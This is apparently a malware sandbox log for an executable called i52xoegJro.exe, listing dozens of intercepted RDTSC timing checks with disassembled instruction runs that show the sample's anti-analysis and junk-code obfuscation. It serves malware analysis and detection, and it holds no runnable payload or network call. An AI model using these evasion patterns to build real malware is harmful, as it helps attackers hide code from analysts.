Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9FE47 second address: D9FE4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9FE4E second address: D9FEF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100596h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F9C65100588h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 push dword ptr fs:[00000000h] 0x0000002d mov dword ptr fs:[00000000h], esp 0x00000034 push 00000000h 0x00000036 push edx 0x00000037 call 00007F9C65100588h 0x0000003c pop edx 0x0000003d mov dword ptr [esp+04h], edx 0x00000041 add dword ptr [esp+04h], 00000014h 0x00000049 inc edx 0x0000004a push edx 0x0000004b ret 0x0000004c pop edx 0x0000004d ret 0x0000004e mov ebx, dword ptr [ebp+12456F76h] 0x00000054 ja 00007F9C6510058Bh 0x0000005a mov eax, dword ptr [ebp+122D0EC5h] 0x00000060 mov dword ptr [ebp+122D267Ch], ecx 0x00000066 push FFFFFFFFh 0x00000068 nop 0x00000069 jmp 00007F9C65100598h 0x0000006e push eax 0x0000006f push eax 0x00000070 push edx 0x00000071 pushad 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D9FEF6 second address: D9FF01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9C644F7B26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA0E49 second address: DA0E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA0E4D second address: DA0EE2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9C644F7B2Bh 0x0000000b popad 0x0000000c nop 0x0000000d movzx edi, dx 0x00000010 push dword ptr fs:[00000000h] 0x00000017 cmc 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f js 00007F9C644F7B33h 0x00000025 jmp 00007F9C644F7B2Dh 0x0000002a mov eax, dword ptr [ebp+122D0EA9h] 0x00000030 xor dword ptr [ebp+122D1E05h], eax 0x00000036 push FFFFFFFFh 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007F9C644F7B28h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 jmp 00007F9C644F7B32h 0x00000057 stc 0x00000058 nop 0x00000059 jmp 00007F9C644F7B32h 0x0000005e push eax 0x0000005f push edi 0x00000060 push eax 0x00000061 push edx 0x00000062 push esi 0x00000063 pop esi 0x00000064 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA1F0F second address: DA1F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA1F13 second address: DA1F20 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA1F20 second address: DA1F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA1F26 second address: DA1F2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA1F2B second address: DA1F31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA1F31 second address: DA1F35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA5FD8 second address: DA5FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C65100590h 0x00000009 popad 0x0000000a jp 00007F9C6510058Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA726B second address: DA72D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F9C644F7B28h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 mov ebx, dword ptr [ebp+122D37ECh] 0x0000002a push dword ptr fs:[00000000h] 0x00000031 sub ebx, 1D0478E4h 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e push ebx 0x0000003f mov edi, 24285174h 0x00000044 pop edi 0x00000045 mov eax, dword ptr [ebp+122D075Dh] 0x0000004b mov ebx, 57B5EA70h 0x00000050 push FFFFFFFFh 0x00000052 mov ebx, dword ptr [ebp+122D37ECh] 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA72D3 second address: DA72D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA72D9 second address: DA72DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DA72DE second address: DA72E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DB171D second address: DB1723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DB1983 second address: DB1993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DB1AE1 second address: DB1AF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C644F7B30h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DB7CC4 second address: DB7D19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jng 00007F9C65100592h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F9C6510058Ah 0x00000017 mov eax, dword ptr [eax] 0x00000019 js 00007F9C65100594h 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushad 0x00000027 popad 0x00000028 jmp 00007F9C6510058Dh 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DB7D19 second address: DB7D1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBBEBD second address: DBBEC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBBEC1 second address: DBBECB instructions: 0x00000000 rdtsc 0x00000002 js 00007F9C644F7B26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBBECB second address: DBBED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBBED5 second address: DBBEE7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F9C644F7B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F9C644F7B26h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBBEE7 second address: DBBEFC instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9C65100586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F9C65100586h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBBEFC second address: DBBF00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBBF00 second address: DBBF0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBBF0A second address: DBBF10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBBF10 second address: DBBF14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBBF14 second address: DBBF2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B31h 0x00000007 jns 00007F9C644F7B26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBC7D4 second address: DBC803 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9C65100586h 0x00000008 jmp 00007F9C65100591h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9C65100590h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBC803 second address: DBC807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBC807 second address: DBC81C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9C65100586h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F9C6510058Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBC81C second address: DBC829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jbe 00007F9C644F7B26h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBC829 second address: DBC82E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBC996 second address: DBC9C4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9C644F7B26h 0x00000008 jmp 00007F9C644F7B2Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9C644F7B34h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBCB54 second address: DBCB58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBCB58 second address: DBCB5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBCB5C second address: DBCB7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F9C65100586h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9C65100594h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBCB7E second address: DBCBB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F9C644F7B32h 0x0000000a jmp 00007F9C644F7B34h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBCBB0 second address: DBCBB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBCD21 second address: DBCD25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBCD25 second address: DBCD2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBCD2B second address: DBCD48 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F9C644F7B35h 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBCEC5 second address: DBCECB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBCECB second address: DBCED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F9C644F7B26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DBCFFD second address: DBD04C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9C65100586h 0x00000008 jmp 00007F9C65100597h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F9C6510058Ah 0x00000014 jmp 00007F9C6510058Dh 0x00000019 popad 0x0000001a push eax 0x0000001b jns 00007F9C65100592h 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC3DDD second address: DC3DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC3DE3 second address: DC3DEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F9C65100586h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC3DEF second address: DC3DF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC3DF4 second address: DC3DFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC3DFB second address: DC3E09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC8369 second address: DC836D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC836D second address: DC8371 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC84A6 second address: DC84BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C65100591h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC84BC second address: DC84DD instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9C644F7B37h 0x00000008 jc 00007F9C644F7B32h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC84DD second address: DC84E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC862B second address: DC862F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC862F second address: DC8651 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C65100597h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC87D0 second address: DC87D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC87D4 second address: DC87D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC9016 second address: DC9054 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9C644F7B26h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jg 00007F9C644F7B26h 0x00000013 jne 00007F9C644F7B26h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c pushad 0x0000001d jmp 00007F9C644F7B39h 0x00000022 jnc 00007F9C644F7B26h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC9054 second address: DC905A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC91BE second address: DC91C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC91C6 second address: DC91CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC91CC second address: DC91D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC91D0 second address: DC91EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C6510058Fh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D72DDC second address: D72DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D72DE2 second address: D72E0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007F9C65100599h 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F9C65100586h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DC95FD second address: DC9666 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B38h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007F9C644F7B28h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 jmp 00007F9C644F7B2Ch 0x0000001c jmp 00007F9C644F7B34h 0x00000021 pop edx 0x00000022 je 00007F9C644F7B3Eh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8B9AA second address: D8BA39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jl 00007F9C65100586h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 jnc 00007F9C6510058Ch 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b je 00007F9C65100586h 0x00000021 popad 0x00000022 popad 0x00000023 nop 0x00000024 push 00000000h 0x00000026 push eax 0x00000027 call 00007F9C65100588h 0x0000002c pop eax 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc eax 0x0000003a push eax 0x0000003b ret 0x0000003c pop eax 0x0000003d ret 0x0000003e or dword ptr [ebp+122D1A25h], eax 0x00000044 lea eax, dword ptr [ebp+12480742h] 0x0000004a mov edx, ebx 0x0000004c nop 0x0000004d pushad 0x0000004e jmp 00007F9C65100593h 0x00000053 push edx 0x00000054 push ecx 0x00000055 pop ecx 0x00000056 pop edx 0x00000057 popad 0x00000058 push eax 0x00000059 pushad 0x0000005a jmp 00007F9C65100596h 0x0000005f pushad 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8BB51 second address: D8BB55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8BFDD second address: D8BFE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8C0FB second address: D8C101 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8C101 second address: D8C127 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jo 00007F9C65100586h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F9C6510058Bh 0x00000015 mov eax, dword ptr [eax] 0x00000017 pushad 0x00000018 jc 00007F9C6510058Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8C127 second address: D8C12E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8C57B second address: D8C5C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C6510058Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007F9C65100588h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 sub dword ptr [ebp+122D1CA8h], ecx 0x0000002b push 00000004h 0x0000002d push edx 0x0000002e jns 00007F9C6510058Bh 0x00000034 pop edx 0x00000035 nop 0x00000036 push esi 0x00000037 jl 00007F9C6510058Ch 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8CDC4 second address: D8CDDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: D8CDDA second address: D72DDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F9C65100588h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push esi 0x00000028 call 00007F9C6510058Ah 0x0000002d xor dword ptr [ebp+122D1CA8h], ebx 0x00000033 pop ecx 0x00000034 pop edx 0x00000035 call dword ptr [ebp+122D1E45h] 0x0000003b pushad 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\i52xoegJro.exe	RDTSC instruction interceptor: First address: DCD468 second address: DCD484 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C644F7B32h 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F9C644F7B26h 0x0000000f rdtsc
